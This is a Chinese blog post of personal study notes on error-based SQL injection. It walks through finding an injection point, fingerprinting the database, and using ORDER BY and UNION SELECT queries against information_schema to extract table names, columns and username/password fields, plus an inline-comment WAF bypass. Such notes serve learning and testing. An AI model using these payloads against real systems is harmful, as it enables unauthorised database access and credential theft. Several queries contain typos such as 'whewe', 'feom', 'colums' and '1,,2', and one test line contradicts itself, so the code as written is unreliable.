数据库注入学习笔记5---显错注入

简单思维流程:
注入点—>有没有安全狗---->没有工具自动注入---->有手工注入---->1、判断注入类型(是否存在注入点)----->order by 猜字段------>查表,查字段------>找到敏感内容

1.判断注入点

  • id = 1’ 在1后面加上单引号,页面出错。
  • id = 1 and 1 =1 正常 id=1 and 1=2 错误
  • id =1 and ‘1’=1正常 id =1 and ‘1’=1错误
  • 注:只要你插入的sql语句被执行,那么就可以判断存在sql注入

2.判断数据数据库类型
常见的数据库Oracle、MYSQL、SQL Server、Access、Mssql、mongodb等,如何进行判断呢?

  1. 特定函数判断,该数据库特有的
  2. 辅助的符号来判断,注释符号、多语句查询符等
  3. 编码查询
  4. 显错信息。(页面错误时回显信息)
  5. 数据库某个特性辅助判断

3.注入
根据数据库不同,注入语句也不同

and exists(select * from admin)  //ACCESS(猜表)
and 0<>(select count(*) from *)

having 1=1--  //爆出表名和字段名//MSSQL
and (select top 1 name from sysobjects where xtype='u')>0


and 1=2 union select 1,'2',table_name,4 from user_tables--  获取数据库表名,设获得关键表名XXX// Oracle


and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 FROM information_schema.tables where table_schema='test' //MYSQL

Mysql注入

判断注入点权限:
and ord(mid(user(),1,1))=114

判断当前页面字段数
and 1 =1 order by *   星号表示1,2,3,4,5。。。。任何数一直挨个试知道页面返回错误

判断显示位:如果上一步判断的字段数为3那么语句如下:
and 1=2 union select 1,2,3       查看页面返回的内容数字为几

查询当前数据库  若页面返回显示位为3那么语句输入在3这里语句如下:
 and 1=2 union select 1,,2,SCHEMA_NAME from information_schema.schemata
and 1=2 union select 1,2database()

查表名:
and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLE whewe table_schema='数据库名的十六进制' limit0,1

查列名:
and 1=2 union select 1,2,COLUME_NAME,5,6,7,8,9 from information_schema.colums where table_name=表名的十六进制 limit 0,1

查询字段内容
and 1=2 union select 1,用户名段,密码段 feom 表名 limit 0,1


MYSQL常识点

在NYSQL 5.0 版本之后,mysql默认在存放一个“information_schema”的数据库
需要分别记住该库中的三个表名

SCHEMATA:存储该用户创建的所有数据库库名,需要记住该表中记录数据库的字段名为SCHEMA_NAME.

TABLES:表示存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TANLE_SCHEMA和TABLE_NAME.

COLUMNS:存储该用户创建的所有数据库库名、表名、字段名,我们需要记住该表中记录数据库库名、表名、字段名的字段为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME

information_schema.tables:记录所有信息的表
information_schema.colums:记录所有列名的表

数据库中'.'表示下一级的意思

常用的数据库语句和函数:

1.MYSQL查询语句

在不知道任何条件时,语句如下所示:
SELECT 要查询的字段名 from 库名.表名

在知道一条已知条件时,语句如下所示。
SELECT 要查询的字段名 from 库名.表名 where 已知条件的字段名=‘已知条件的值’

在知道两条已知条件时,语句如下所示:
SELECT 要查询的字段名 from 库名.表名 WHERE已知条件1的字段名='已知条件1的值' AND 已知条件2的字段名='已知条件2的值'


2.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始位置,从0开始,表示第一条记录;n是指取n条记录。例如:limit0,1表示从第一条记录开始,取一条记录

3.需要记住的几个函数
database():当前网站使用的数据库。
version():当前mysql得到版本
user():当前数据库的用户

4.注释符
在mysql中常见的注释符表达方式:#或---空格或/**/

5.内联注释
内联注释的形式:/*! code*/ 内联注释可以用于整个sql语句中,用来执行我们的slq语句。例:
index.php?id=1 /*! unlon*//*! select*/1,2,3


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

超级滑稽帝本人

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值